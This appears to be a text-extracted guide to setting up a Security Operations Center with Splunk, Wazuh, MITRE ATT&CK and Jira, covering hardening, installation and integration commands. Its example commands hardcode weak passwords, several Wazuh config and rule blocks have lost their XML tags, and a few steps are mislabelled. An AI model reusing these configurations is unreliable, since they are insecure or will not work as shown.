SOC Project Implementation Guide

A Comprehensive Guide to Building and Operating a Professional Security Operations Center

Author: Shayshab Azad

https://www.patreon.com/info_sec

Complete Implementation Guide for Security Operations Centers
Including Architecture, Configuration, Automation, and Best Practices

Professional Security Operations Center Implementation Guide

Comprehensive Coverage from Setup to Advanced Operations

Table of Contents

Chapter 1: Introduction & Overview

1.1 Project Objectives

The SOC (Security Operations Center) Project represents a comprehensive security monitoring and incident response framework designed for modern cloud and hybrid environments. This enterprise-grade solution implements automated threat detection, incident management, and response capabilities using industry-standard tools and frameworks.

• Establish real-time threat detection across cloud and on-premises environments

• Implement automated incident response and ticket management

• Provide comprehensive security monitoring with MITRE ATT&CK; integration

• Create a scalable and maintainable security operations platform

• Enable compliance with industry standards and regulations

1.2 Technology Stack Overview

The SOC project integrates four core technologies to provide comprehensive security monitoring and incident response capabilities:

Tool	Purpose	Key Features
Splunk Enterprise	SIEM Platform	Log aggregation, real-time monitoring, advanced search
Wazuh	EDR Solution	Endpoint detection, file integrity monitoring, active response
MITRE ATT&CK	Threat Intelligence	Attack technique mapping, threat categorization
Jira	Incident Management	Ticket creation, workflow automation, team collaboration

1.3 System Requirements

The SOC project requires specific hardware and software configurations to ensure optimal performance and reliability. The following requirements are minimum specifications for a production environment.

Component	Minimum Specs	Recommended Specs
Splunk Server	8 CPU cores, 16GB RAM, 500GB storage	16 CPU cores, 32GB RAM, 1TB SSD
Wazuh Manager	4 CPU cores, 8GB RAM, 100GB storage	8 CPU cores, 16GB RAM, 200GB SSD
Jira Server	4 CPU cores, 8GB RAM, 100GB storage	8 CPU cores, 16GB RAM, 200GB SSD
Network	1Gbps connectivity	10Gbps backbone, redundant paths

1.4 Project Timeline

The SOC project implementation is divided into five phases, each building upon the previous phase to create a comprehensive security operations center.

Phase	Duration	Key Activities
Phase 1: Foundation	Week 1-2	Environment setup, tool installation, basic configuration
Phase 2: Core Implementation	Week 3-4	Splunk/Wazuh config, Jira integration, cloud logs
Phase 3: Detection & Monitoring	Week 5-6	Detection rules, alerts, dashboards, MITRE integration
Phase 4: Automation & Response	Week 7-8	Automated responses, incident workflows, testing
Phase 5: Testing & Optimization	Week 9-10	Comprehensive testing, optimization, documentation

1.5 Success Metrics

The success of the SOC project implementation is measured through specific metrics across detection performance, response efficiency, and operational excellence.

Category	Metric	Target
Detection Performance	Time to Detection (TTD)	< 5 minutes
Detection Performance	False Positive Rate	< 10%
Detection Performance	MITRE ATT&CK Coverage	> 80%
Response Efficiency	Time to Response (TTR)	< 15 minutes
Response Efficiency	Automated Response Success	> 95%
Operational Excellence	System Uptime	> 99.5%
Operational Excellence	Dashboard Response Time	< 3 seconds

1.6 Key Takeaways

• The SOC project provides comprehensive security monitoring and incident response capabilities

• Four core tools work together: Splunk (SIEM), Wazuh (EDR), MITRE ATT&CK; (intelligence), Jira (management)

• Proper planning and preparation are essential for successful implementation

• Security and compliance considerations must be addressed throughout the project

• Success metrics should be established and monitored throughout the implementation

Chapter 2: Architecture & Design

2.1 SOC Architecture Overview

The SOC architecture is designed as a layered, modular system that provides comprehensive security monitoring and incident response capabilities. The architecture follows security best practices and enables scalability, maintainability, and operational efficiency.

Architecture Principles:

• Defense in Depth: Multiple layers of security controls

• Zero Trust: Verify every access attempt

• Modular Design: Independent component operation

• Scalability: Support for growth and expansion

• Security First: Built-in security controls

2.2 High-Level Architecture

The SOC high-level architecture consists of four main layers: data collection, processing and analysis, detection and response, and management and reporting.

Layer	Components	Function
Data Collection	Cloud APIs, Log Sources, Agents	Gather security events and logs from all sources
Processing & Analysis	Splunk Indexers, Search Heads	Parse, index, correlate, and analyze data
Detection & Response	Detection Rules, Wazuh Active Response	Identify threats and execute automated responses
Management & Reporting	Jira, Dashboards, Reports	Incident management and operational reporting

2.3 Data Flow Architecture

The SOC data flow follows a structured pipeline from data collection through incident response. Each component plays a specific role in the security monitoring ecosystem.

1. Data Collection: Logs and events from cloud platforms, endpoints, and network devices
2. Data Ingestion: Splunk HTTP Event Collector (HEC) receives and processes data
3. Data Indexing: Splunk indexes and stores data for fast retrieval and analysis
4. Real-time Analysis: Splunk Search Processing Language (SPL) correlates events
5. Threat Detection: Detection rules identify security threats and anomalies
6. Alert Generation: Automated alerts trigger when threats are detected
7. Incident Response: Wazuh active response executes automated actions
8. Incident Management: Jira creates and tracks incident tickets

9. Reporting: Dashboards and reports provide operational visibility

2.4 Network Architecture

The network architecture provides secure communication between SOC components while maintaining proper segmentation and access controls.

Network Segment	VLAN ID	Purpose	Components
Security Management	VLAN 100	SOC tool administration	Splunk, Wazuh, Jira management interfaces
Data Collection	VLAN 200	Log and event collection	HEC endpoints, log forwarders, agents
Analysis	VLAN 300	Data processing and analysis	Splunk indexers, search heads, correlation engines
Response	VLAN 400	Automated response actions	Wazuh active response, firewall management
DMZ	VLAN 500	External-facing components	Web interfaces, API endpoints

2.5 Security Architecture

The security architecture implements defense-in-depth principles with multiple layers of security controls to protect the SOC infrastructure and data.

Control Layer	Security Controls	Implementation
Network Security	Firewalls, IDS/IPS, VLANs	Segment network traffic, monitor for threats
Access Control	RBAC, MFA, VPN	Control access to SOC tools and data
Data Protection	Encryption, DLP, Backup	Protect data at rest and in transit
Monitoring	SIEM, EDR, Log Analysis	Monitor all SOC activities and events
Incident Response	Automation, Playbooks, Escalation	Respond to security incidents

2.6 Scalability Design

The SOC architecture is designed to scale horizontally and vertically to accommodate growth in data volume, user count, and organizational requirements.

• Horizontal Scaling: Add more Splunk indexers and search heads as data volume grows

• Vertical Scaling: Increase CPU, RAM, and storage on existing servers

• Load Balancing: Distribute traffic across multiple instances

• Clustering: Implement Splunk and Wazuh clustering for high availability

• Data Retention: Implement tiered storage for cost-effective data management

• Performance Optimization: Tune queries, indexes, and system parameters

2.7 High Availability Design

High availability ensures continuous SOC operations even during component failures or maintenance windows.

• Redundant Servers: Multiple instances of each SOC component

• Load Balancers: Distribute traffic and provide failover

• Clustered Storage: Shared storage for data persistence

• Backup Systems: Regular backups and disaster recovery

• Monitoring: Health checks and automatic failover

• Documentation: Runbooks and recovery procedures

2.8 Integration Architecture

The integration architecture defines how SOC components communicate and share data to provide comprehensive security monitoring and response capabilities.

Integration Point	Components	Protocol	Purpose
Data Collection	Splunk HEC, Cloud APIs	HTTPS, REST	Ingest logs and events
Alert Correlation	Splunk, Wazuh	Internal APIs	Correlate alerts across tools
Incident Management	Splunk, Wazuh, Jira	REST APIs	Create and track incidents
Response Automation	Wazuh, Firewall, IAM	CLI, APIs	Execute automated responses
Reporting	Splunk, Jira, Dashboards	Web APIs	Generate reports and metrics

2.9 Compliance Architecture

The compliance architecture ensures the SOC meets regulatory and industry standards for data protection, security monitoring, and incident response.

• SOC 2 Type II: Security, availability, and confidentiality controls

• ISO 27001: Information security management system

• PCI DSS: Payment card data security standards

• HIPAA: Healthcare data protection requirements

• GDPR: European data protection regulations

• NIST Cybersecurity Framework: Risk management and security controls

2.10 Design Best Practices

Follow these best practices when designing and implementing the SOC architecture to ensure security, performance, and maintainability.

1. Implement defense in depth with multiple security layers

2. Use network segmentation to isolate different components

3. Enable encryption for data at rest and in transit

4. Implement proper access controls and authentication

5. Design for scalability and high availability
6. Document all architecture decisions and configurations
7. Test disaster recovery and business continuity procedures
8. Monitor and log all system activities
9. Regularly update and patch all components
10. Conduct security assessments and penetration testing

Chapter 3: Environment Setup

3.1 Pre-Installation Planning

Proper planning is essential for successful SOC implementation. This section covers the planning phase, including requirements gathering, resource allocation, and timeline development.

1. Review system requirements and hardware specifications
2. Identify network infrastructure and connectivity requirements
3. Plan IP addressing scheme and network segmentation
4. Determine storage requirements and backup strategies
5. Identify team roles and responsibilities
6. Plan security policies and access controls
7. Develop implementation timeline and milestones
8. Prepare disaster recovery and business continuity plans

3.2 Server Preparation

Prepare the server environment for SOC tool installation. This includes operating system setup, security hardening, and performance optimization.

1. Install and configure base operating system (Ubuntu 20.04 LTS recommended)
2. Apply all security patches and updates
3. Configure network interfaces and IP addressing
4. Set up firewall rules and security groups
5. Install required system dependencies and packages
6. Configure DNS resolution and time synchronization
7. Set up logging and monitoring for the server
8. Create dedicated user accounts for SOC tools
9. Configure SSH access with key-based authentication
10. Set up backup and recovery procedures

3.3 Operating System Installation

Install and configure the base operating system with security best practices and performance optimizations for SOC operations.

```
# Download Ubuntu 20.04 LTS
wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso

# Create bootable USB (on another system)
```

```
sudo dd if=ubuntu-20.04.6-live-server-amd64.iso of=/dev/sdX bs=4M
status=progress

# Install with minimal packages

# Select: OpenSSH server, Basic Ubuntu server

# Configure: Static IP, hostname, user account
```

3.4 System Updates and Security

Apply all system updates and implement security hardening measures to protect the SOC infrastructure from threats.

```
# Update package lists

sudo apt update

# Upgrade all packages

sudo apt upgrade -y

# Install security updates

sudo apt dist-upgrade -y

# Install additional security packages

sudo apt install -y ufw fail2ban rkhunter unattended-upgrades

# Configure automatic security updates

sudo dpkg-reconfigure -plow unattended-upgrades
```

3.5 Network Configuration

Configure network settings to ensure proper communication between SOC components and external data sources. This includes IP addressing, routing, and firewall rules.

```
# Configure network interfaces

sudo nano /etc/netplan/01-netcfg.yaml

# Example netplan configuration:

network:

version: 2

renderer: networkd

ethernets:

eth0:

addresses:

- 192.168.100.10/24

gateway4: 192.168.100.1

nameservers:
```

```
addresses: [8.8.8.8, 8.8.4.4]

# Apply network configuration
sudo netplan apply
```

3.6 Firewall Configuration

Configure firewall rules to protect the SOC infrastructure while allowing necessary communication for security tools and data collection.

```
# Enable UFW firewall
sudo ufw enable

# Allow SSH access
sudo ufw allow 22/tcp

# Allow Splunk web interface
sudo ufw allow 8000/tcp

# Allow Splunk management port
sudo ufw allow 8089/tcp

# Allow Wazuh manager
sudo ufw allow 1514/tcp

# Allow Wazuh cluster communication
sudo ufw allow 1516/tcp

# Allow Jira web interface
sudo ufw allow 8080/tcp

# Show firewall status
sudo ufw status verbose
```

3.7 User Account Setup

Create dedicated user accounts for SOC tools with appropriate permissions and security controls. Implement role-based access control (RBAC) for team members.

```
# Create SOC administrator account
sudo useradd -m -s /bin/bash socadmin
sudo usermod -aG sudo socadmin

# Create SOC analyst account
sudo useradd -m -s /bin/bash socanalyst
sudo usermod -aG soc socanalyst
```

```
# Set up SSH key authentication
sudo mkdir -p /home/socadmin/.ssh
sudo chmod 700 /home/socadmin/.ssh
sudo chown socadmin:socadmin /home/socadmin/.ssh

# Create SOC group
sudo groupadd soc
sudo usermod -aG soc socadmin
sudo usermod -aG soc socanalyst
```

3.8 System Dependencies

Install required system dependencies and packages for SOC tools. This includes Python, Java, and other runtime environments needed for security tools.

```
# Update package lists
sudo apt update

# Install Python and pip
sudo apt install -y python3 python3-pip python3-venv

# Install Java (required for Splunk)
sudo apt install -y openjdk-11-jdk

# Install additional dependencies
sudo apt install -y curl wget git unzip

# Install monitoring tools
sudo apt install -y htop iotop nethogs

# Install network tools
sudo apt install -y net-tools tcpdump nmap

# Verify installations
python3 --version
java -version
curl --version
```

3.9 Storage Configuration

Configure storage for SOC data, logs, and backups. Implement proper partitioning, RAID configuration, and backup strategies for data protection.

1. Partition storage for different data types (OS, applications, data, logs)
2. Configure RAID for data redundancy and performance

3. Set up logical volume management (LVM) for flexibility
4. Create mount points for SOC data directories
5. Configure disk quotas and monitoring
6. Set up automated backup procedures
7. Implement data retention policies
8. Configure storage monitoring and alerting

3.10 Security Hardening

Implement security hardening measures to protect the SOC infrastructure from threats and ensure compliance with security standards.

```
# Disable unnecessary services
sudo systemctl disable bluetooth
sudo systemctl disable cups
sudo systemctl disable avahi-daemon

# Configure SSH security
sudo nano /etc/ssh/sshd_config
# Set: PermitRootLogin no
# Set: PasswordAuthentication no
# Set: AllowUsers socadmin

# Restart SSH service
sudo systemctl restart ssh

# Configure fail2ban
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo systemctl enable fail2ban
sudo systemctl start fail2ban
```

3.11 Monitoring Setup

Set up system monitoring to track server performance, resource usage, and security events. This provides visibility into SOC infrastructure health.

```
# Install monitoring tools
sudo apt install -y sysstat iotop htop

# Configure system monitoring
sudo systemctl enable sysstat
sudo systemctl start sysstat

# Set up log rotation
```

```
sudo nano /etc/logrotate.d/soc

# Configure log monitoring
sudo apt install -y logwatch
sudo logwatch --detail High --mailto admin@company.com --range Today
```

3.12 Pre-Installation Checklist

Complete this checklist before proceeding with SOC tool installation to ensure all prerequisites are met and the environment is properly configured.

■ Operating system installed and updated

■ Network connectivity verified

■ Firewall rules configured

■ User accounts created and configured

■ SSH access tested with key authentication

■ System dependencies installed

■ Storage configured and mounted

■ Security hardening completed

■ Monitoring tools configured

■ Backup procedures tested

■ DNS resolution working

■ Time synchronization configured

■ System performance baseline established

■ Documentation updated

■ Team access configured

3.13 Environment Validation

Validate the environment configuration to ensure all components are working correctly and ready for SOC tool installation.

```
# Check system information
uname -a
cat /etc/os-release

# Verify network configuration
ip addr show
ip route show
ping -c 3 8.8.8.8

# Check firewall status
sudo ufw status
```

```
# Verify user accounts
id socadmin
id socanalyst

# Check disk space
df -h

# Verify system resources
free -h
nproc

# Test SSH access
ssh socadmin@localhost
```

Chapter 4: Tool Installation

4.1 Splunk Enterprise Installation

Splunk Enterprise is the primary SIEM platform for the SOC project. Follow these step-by-step instructions to install and configure Splunk Enterprise.

1. Download Splunk Enterprise from the official website
2. Extract the installation package to /opt/splunk
3. Run the Splunk installation script
4. Configure Splunk admin password
5. Start Splunk services
6. Access Splunk web interface on port 8000

Splunk Installation Commands:

```
# Download and extract Splunk

wget -O splunk.tgz 'https://download.splunk.com/products/splunk/releases/9.0.
0/linux/splunk-9.0.0-17e00c557dc1-Linux-x86_64.tgz'

tar -xzf splunk.tgz -C /opt

# Start Splunk for the first time

cd /opt/splunk

./bin/splunk start --accept-license

# Set admin password

./bin/splunk edit user admin -password 'YourSecurePassword' -role admin -auth
admin:changeme
```

4.2 Wazuh Installation

Wazuh provides endpoint detection and response capabilities. Install Wazuh manager and agents according to these instructions.

```
# Install Wazuh repository

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -

echo 'deb https://packages.wazuh.com/4.x/apt/ stable main' | sudo tee
/etc/apt/sources.list.d/wazuh.list

# Install Wazuh manager

sudo apt-get update

sudo apt-get install wazuh-manager
```

```
# Start Wazuh manager
sudo systemctl daemon-reload
sudo systemctl enable wazuh-manager
sudo systemctl start wazuh-manager
```

4.3 Jira Setup

Jira provides incident management and ticket tracking capabilities. Set up Jira Cloud or Server according to your organization's requirements.

1. Create Jira Cloud account or install Jira Server
2. Create a new project called 'Security Incidents'
3. Configure issue types: Security Incident, Security Alert, Threat Intelligence
4. Set up custom fields for MITRE ATT&CK; techniques
5. Configure user permissions and access controls
6. Generate API token for integration

Chapter 5: Splunk Configuration

5.1 Splunk Installation

Install Splunk Enterprise on the SOC server. This includes downloading the software, configuring the installation, and setting up initial access.

```
# Download Splunk Enterprise

wget -O splunk-9.0.4-419ad9369127-linux-2.6-amd64.deb \

'https://download.splunk.com/products/splunk/releases/9.0.4/linux/splunk-9.0.
4-419ad9369127-linux-2.6-amd64.deb'

# Install Splunk package

sudo dpkg -i splunk-9.0.4-419ad9369127-linux-2.6-amd64.deb

# Create splunk user

sudo useradd -r -d /opt/splunk -s /bin/bash splunk

# Set ownership

sudo chown -R splunk:splunk /opt/splunk

# Start Splunk for first time

sudo -u splunk /opt/splunk/bin/splunk start --accept-license --answer-yes
--no-prompt --seed-passwd admin123
```

5.2 Initial Configuration

Configure Splunk with basic settings including server name, admin password, and network settings for SOC operations.

```
# Set server name

sudo -u splunk /opt/splunk/bin/splunk set servername soc-splunk-server

# Set default hostname

sudo -u splunk /opt/splunk/bin/splunk set default-hostname soc-splunk-server

# Change admin password

sudo -u splunk /opt/splunk/bin/splunk edit user admin -password
'SecurePassword123!' -role admin -auth admin:admin123

# Enable Splunk web interface

sudo -u splunk /opt/splunk/bin/splunk enable web-server -port 8000

# Configure Splunk to start on boot

sudo /opt/splunk/bin/splunk enable boot-start -user splunk
```

```
# Restart Splunk
sudo -u splunk /opt/splunk/bin/splunk restart
```

5.3 Index Configuration

Configure Splunk indexes for different types of security data. This includes creating indexes for security events, cloud logs, and system logs.

```
# Create indexes.conf
sudo nano /opt/splunk/etc/system/local/indexes.conf

# Security events index
[security_events]
homePath = $SPLUNK_DB/security_events/db
coldPath = $SPLUNK_DB/security_events/colddb
thawedPath = $SPLUNK_DB/security_events/thaweddb
maxTotalDataSizeMB = 10000
frozenTimePeriodInSecs = 7776000
maxHotBuckets = 10
maxWarmBuckets = 300

# Cloud logs index
[cloud_logs]
homePath = $SPLUNK_DB/cloud_logs/db
coldPath = $SPLUNK_DB/cloud_logs/colddb
thawedPath = $SPLUNK_DB/cloud_logs/thaweddb
maxTotalDataSizeMB = 5000
frozenTimePeriodInSecs = 2592000

# System logs index
[system_logs]
homePath = $SPLUNK_DB/system_logs/db
coldPath = $SPLUNK_DB/system_logs/colddb
thawedPath = $SPLUNK_DB/system_logs/thaweddb
maxTotalDataSizeMB = 2000
frozenTimePeriodInSecs = 7776000
```

5.4 User and Role Management

Create user accounts and roles for SOC team members with appropriate permissions for different functions like analysis, administration, and reporting.

```
# Create SOC analyst user
```

```
sudo -u splunk /opt/splunk/bin/splunk add user soc_analyst -password
'AnalystPass123!' -role user -full-name 'SOC Analyst'

# Create SOC manager user

sudo -u splunk /opt/splunk/bin/splunk add user soc_manager -password
'ManagerPass123!' -role admin -full-name 'SOC Manager'

# Create custom role for analysts

sudo -u splunk /opt/splunk/bin/splunk add role soc_analyst_role
-srch-indexes-default security_events,cloud_logs -srch-indexes-allowed
security_events,cloud_logs,system_logs

# Assign role to user

sudo -u splunk /opt/splunk/bin/splunk edit user soc_analyst -role
soc_analyst_role -auth admin:SecurePassword123!

# List users and roles

sudo -u splunk /opt/splunk/bin/splunk list user

sudo -u splunk /opt/splunk/bin/splunk list role
```

5.5 Input Configuration

Configure data inputs to collect logs and events from various sources including system logs, network devices, and cloud platforms.

```
# Create inputs.conf

sudo nano /opt/splunk/etc/system/local/inputs.conf

# Monitor system logs

[monitor:///var/log/syslog]

index = system_logs

sourcetype = syslog

# Monitor auth logs

[monitor:///var/log/auth.log]

index = security_events

sourcetype = linux_secure

# Monitor SSH logs

[monitor:///var/log/secure]

index = security_events

sourcetype = ssh

# HTTP Event Collector (HEC)

[http://hec]

index = security_events
```

```
token = your_hec_token_here

disabled = 0
```

5.6 HTTP Event Collector Setup

Configure the HTTP Event Collector (HEC) to receive logs from external sources like cloud platforms, applications, and network devices.

```
# Enable HEC

sudo -u splunk /opt/splunk/bin/splunk http-event-collector enable -uri
https://localhost:8089 -auth admin:SecurePassword123!

# Create HEC token

sudo -u splunk /opt/splunk/bin/splunk http-event-collector create -name
'soc-hec-token' -uri https://localhost:8089 -auth admin:SecurePassword123!

# Configure HEC settings

sudo nano /opt/splunk/etc/system/local/inputs.conf

# Add HEC configuration

[http://hec]

index = security_events

token = your_generated_token_here

disabled = 0

sourcetype = _json
```

5.7 Search and Reporting Configuration

Configure search and reporting settings to optimize performance and enable advanced analytics capabilities for security monitoring.

```
# Configure search settings

sudo nano /opt/splunk/etc/system/local/limits.conf

# Search performance settings

[search]

maxout = 10

maxtotalsearchsize = 1000

max_mem_usage_mb = 2048

# Reporting settings

[reporting]

maxreports = 100

maxreportsperuser = 50
```

```
# Index search settings
[indexing]
maxmem = 2048
maxmem_high = 4096
```

5.8 Alert Configuration

Configure alerting capabilities to notify SOC team members of security events and enable automated response actions.

```
# Create alerts.conf
sudo nano /opt/splunk/etc/system/local/alert_actions.conf

# Email alert action
[email]
param.from = soc@company.com
param.to = soc-team@company.com
param.smtp_server = smtp.company.com
param.smtp_port = 587
param.sendresults = 1

# Script alert action for Jira integration
[script]
param.script = /opt/splunk/etc/apps/soc/bin/jira_alert_action.py
param.scriptargs = --jira-url https://company.atlassian.net --username
soc@company.com --api-token your_token --project-key SEC
```

5.9 Dashboard Creation

Create operational dashboards for SOC monitoring. This includes security event overview, threat detection metrics, and incident response tracking.

```
# Create dashboard directory
sudo mkdir -p /opt/splunk/etc/apps/soc/local/data/ui/nav
sudo chown -R splunk:splunk /opt/splunk/etc/apps/soc

# Create dashboard XML
sudo nano /opt/splunk/etc/apps/soc/local/data/ui/nav/default.xml

# Dashboard navigation



# Create dashboard views
```

```
sudo mkdir -p /opt/splunk/etc/apps/soc/local/data/ui/views
sudo nano /opt/splunk/etc/apps/soc/local/data/ui/views/soc_overview.xml
```

5.10 App Installation and Management

Install and configure Splunk apps for enhanced security monitoring capabilities. This includes security apps, add-ons, and custom applications.

```
# Install Splunk Enterprise Security (if licensed)
# Download from Splunk website and install

# Install Splunk App for AWS
sudo -u splunk /opt/splunk/bin/splunk install app /path/to/splunk-app-aws.tgz

# Install Splunk Add-on for Microsoft Windows
sudo -u splunk /opt/splunk/bin/splunk install app
/path/to/splunk-add-on-windows.tgz

# Install custom SOC app
sudo -u splunk /opt/splunk/bin/splunk install app /path/to/soc-app.tgz

# List installed apps
sudo -u splunk /opt/splunk/bin/splunk list app

# Enable/disable apps
sudo -u splunk /opt/splunk/bin/splunk disable app app_name
sudo -u splunk /opt/splunk/bin/splunk enable app app_name
```

5.11 Performance Tuning

Optimize Splunk performance for high-volume security data processing. This includes memory tuning, search optimization, and index management.

```
# Configure system limits
sudo nano /etc/security/limits.conf

# Add Splunk user limits
splunk soft nofile 8192
splunk hard nofile 32768
splunk soft nproc 2048
splunk hard nproc 8192

# Configure Splunk limits
sudo nano /opt/splunk/etc/system/local/limits.conf

# Memory and search limits
```

```
[search]
maxout = 10
maxtotalsearchsize = 1000
max_mem_usage_mb = 4096

[indexing]
maxmem = 4096
maxmem_high = 8192
```

5.12 Backup and Recovery

Implement backup and recovery procedures for Splunk data and configuration. This ensures data protection and business continuity.

```
# Create backup script
sudo nano /opt/splunk/backup_splunk.sh

# Backup script content
#!/bin/bash
BACKUP_DIR="/backup/splunk"
DATE=$(date +%Y%m%d_%H%M%S)

# Stop Splunk
sudo -u splunk /opt/splunk/bin/splunk stop

# Backup configuration
tar -czf $BACKUP_DIR/config_$DATE.tar.gz /opt/splunk/etc

# Backup indexes
tar -czf $BACKUP_DIR/indexes_$DATE.tar.gz /opt/splunk/var/lib/splunk

# Start Splunk
sudo -u splunk /opt/splunk/bin/splunk start

# Make script executable
sudo chmod +x /opt/splunk/backup_splunk.sh
```

5.13 Monitoring and Maintenance

Set up monitoring and maintenance procedures for Splunk operations. This includes health checks, log monitoring, and regular maintenance tasks.

```
# Check Splunk status
sudo -u splunk /opt/splunk/bin/splunk status

# Check index status
```

```
sudo -u splunk /opt/splunk/bin/splunk list index

# Check license usage

sudo -u splunk /opt/splunk/bin/splunk show license

# Monitor disk usage

df -h /opt/splunk

# Check Splunk logs

tail -f /opt/splunk/var/log/splunk/splunkd.log

# Clean old logs

sudo -u splunk /opt/splunk/bin/splunk clean eventdata -index security_events
-older-than 90d

# Restart Splunk

sudo -u splunk /opt/splunk/bin/splunk restart
```

Chapter 6: Wazuh Configuration

6.1 Wazuh Manager Installation

Install Wazuh manager on the SOC server. This includes downloading the software, configuring the installation, and setting up the management interface.

```
# Add Wazuh repository

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -

echo 'deb https://packages.wazuh.com/4.x/apt/ stable main' | sudo tee
/etc/apt/sources.list.d/wazuh.list

# Update package lists

sudo apt update

# Install Wazuh manager

sudo apt install wazuh-manager -y

# Start Wazuh manager

sudo systemctl daemon-reload

sudo systemctl enable wazuh-manager

sudo systemctl start wazuh-manager

# Check Wazuh manager status

sudo systemctl status wazuh-manager
```

6.2 Initial Configuration

Configure Wazuh manager with basic settings including cluster configuration, logging, and network settings for SOC operations.

```
# Edit Wazuh configuration

sudo nano /var/ossec/etc/ossec.conf

# Basic configuration structure:


yes

yes

no

8G


soc_cluster

soc_manager
```

```
master

your_cluster_key_here

1516

0.0.0.0

soc_manager
```

6.3 Agent Deployment

Deploy Wazuh agents on target systems for endpoint monitoring. This includes agent installation, registration, and configuration for different platforms.

```
# Install Wazuh agent on Linux

curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -

echo 'deb https://packages.wazuh.com/4.x/apt/ stable main' | sudo tee
/etc/apt/sources.list.d/wazuh.list

sudo apt update

sudo apt install wazuh-agent -y

# Register agent with manager

sudo /var/ossec/bin/agent-auth -m 192.168.100.10 -A agent_name

# Start Wazuh agent

sudo systemctl enable wazuh-agent

sudo systemctl start wazuh-agent

# Check agent status

sudo /var/ossec/bin/agent_control -l
```

6.4 Rule Management

Create and manage custom rules for threat detection. This includes rule creation, testing, and integration with MITRE ATT&CK; framework.

```
# Create custom rules directory

sudo mkdir -p /var/ossec/etc/rules

# Create custom rule file

sudo nano /var/ossec/etc/rules/custom_rules.xml

# Example custom rule:


0

192.168.1.100
```

```
Custom SOC rule: Suspicious activity from specific IP
alert_by_email


0
sudo
Custom SOC rule: Privilege escalation attempt
alert_by_email


# Restart Wazuh manager to load new rules
sudo systemctl restart wazuh-manager
```

6.5 Active Response Configuration

Configure active response capabilities to automatically respond to security threats. This includes firewall rules, user blocking, and custom responses.

```
# Configure active response in ossec.conf
sudo nano /var/ossec/etc/ossec.conf

# Add active response configuration:


firewall-drop
local
6
600


disable-account
local
10
3600


firewall-drop
firewall-drop
srcip
yes


disable-account
disable-account
user
yes
```

6.6 MITRE ATT&CK; Integration

Integrate Wazuh with MITRE ATT&CK; framework for standardized threat detection and categorization. This includes technique mapping and threat intelligence.

```
# Create MITRE ATT&CK; mapping rules
sudo nano /var/ossec/etc/rules/mitre_rules.xml

# Example MITRE ATT&CK; rule:

0
Brute Force
MITRE ATT&CK; T1110: Brute Force Attack Detected
alert_by_email

T1110
Credential Access
Brute Force


0
Privilege Escalation
MITRE ATT&CK; T1068: Privilege Escalation Detected
alert_by_email

T1068
Privilege Escalation
Exploitation for Privilege Escalation
```

6.7 Splunk Integration

Configure Wazuh to send alerts and events to Splunk for centralized monitoring and correlation analysis.

```
# Configure Splunk integration
sudo nano /var/ossec/etc/ossec.conf

# Add Splunk integration:

splunk
https://splunk-server:8089/services/receivers/simple
https://splunk-server:8089
splunk_user
```

```
splunk_password
json

splunk_hec
https://splunk-server:8088/services/collector
your_hec_token
json
```

6.8 Jira Integration

Configure Wazuh to create Jira tickets for security incidents. This includes custom active response scripts and Jira API integration.

```
# Create Jira integration script
sudo nano /var/ossec/active-response/bin/jira_create_ticket

# Script content:
#!/bin/bash
JIRA_URL="https://company.atlassian.net"
JIRA_USERNAME="soc@company.com"
JIRA_API_TOKEN="your_api_token"
JIRA_PROJECT_KEY="SEC"

# Get alert details
ALERT_ID=$1
RULE_ID=$2
LEVEL=$3
SRCIP=$4
USER=$5

# Create Jira ticket
curl -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Basic $(echo -n $JIRA_USERNAME:$JIRA_API_TOKEN | base64)" \
-d '{"fields":{"project":{"key":"'$JIRA_PROJECT_KEY'"},"summary":"Security
Alert: '$ALERT_ID'","description":"Alert ID: '$ALERT_ID'\nRule ID:
'$RULE_ID'\nLevel: '$LEVEL'\nSource IP: '$SRCIP'\nUser: '$USER'"}}' \
$JIRA_URL/rest/api/3/issue

# Make script executable
sudo chmod +x /var/ossec/active-response/bin/jira_create_ticket
```

6.9 Performance Optimization

Optimize Wazuh performance for high-volume security monitoring. This includes memory tuning, log rotation, and system resource management.

```
# Configure system limits

sudo nano /etc/security/limits.conf

# Add Wazuh user limits

wazuh soft nofile 65535

wazuh hard nofile 65535

wazuh soft nproc 32768

wazuh hard nproc 32768

# Configure Wazuh performance

sudo nano /var/ossec/etc/ossec.conf

# Performance settings:


8G

1000

1000

50000


no

50000

500
```

6.10 Monitoring and Maintenance

Set up monitoring and maintenance procedures for Wazuh operations. This includes health checks, log monitoring, and regular maintenance tasks.

```
# Check Wazuh manager status

sudo systemctl status wazuh-manager

# Check agent status

sudo /var/ossec/bin/agent_control -l

# Check Wazuh logs

sudo tail -f /var/ossec/logs/ossec.log

# Check alerts

sudo tail -f /var/ossec/logs/alerts/alerts.log
```

```
# Check active responses
sudo tail -f /var/ossec/logs/active-responses.log

# Clean old logs
sudo /var/ossec/bin/ossec-logtest -t

# Restart Wazuh manager
sudo systemctl restart wazuh-manager
```

6.11 Security Hardening

Implement security hardening measures for Wazuh infrastructure. This includes access controls, encryption, and security best practices.

```
# Secure Wazuh configuration
sudo chmod 640 /var/ossec/etc/ossec.conf
sudo chown root:wazuh /var/ossec/etc/ossec.conf

# Secure agent keys
sudo chmod 640 /var/ossec/etc/client.keys
sudo chown root:wazuh /var/ossec/etc/client.keys

# Configure firewall for Wazuh
sudo ufw allow from 192.168.100.0/24 to any port 1514
sudo ufw allow from 192.168.100.0/24 to any port 1515
sudo ufw allow from 192.168.100.0/24 to any port 1516

# Enable Wazuh security features
sudo nano /var/ossec/etc/ossec.conf

# Security settings:

yes
yes
no
8G
192.168.100.0/24
```

6.12 Backup and Recovery

Implement backup and recovery procedures for Wazuh data and configuration. This ensures data protection and business continuity.

```
# Create backup script
```

```
sudo nano /var/ossec/backup_wazuh.sh

# Backup script content:
#!/bin/bash
BACKUP_DIR="/backup/wazuh"
DATE=$(date +%Y%m%d_%H%M%S)

# Stop Wazuh manager
sudo systemctl stop wazuh-manager

# Backup configuration
tar -czf $BACKUP_DIR/config_$DATE.tar.gz /var/ossec/etc

# Backup logs
tar -czf $BACKUP_DIR/logs_$DATE.tar.gz /var/ossec/logs

# Backup database
tar -czf $BACKUP_DIR/db_$DATE.tar.gz /var/ossec/var

# Start Wazuh manager
sudo systemctl start wazuh-manager

# Make script executable
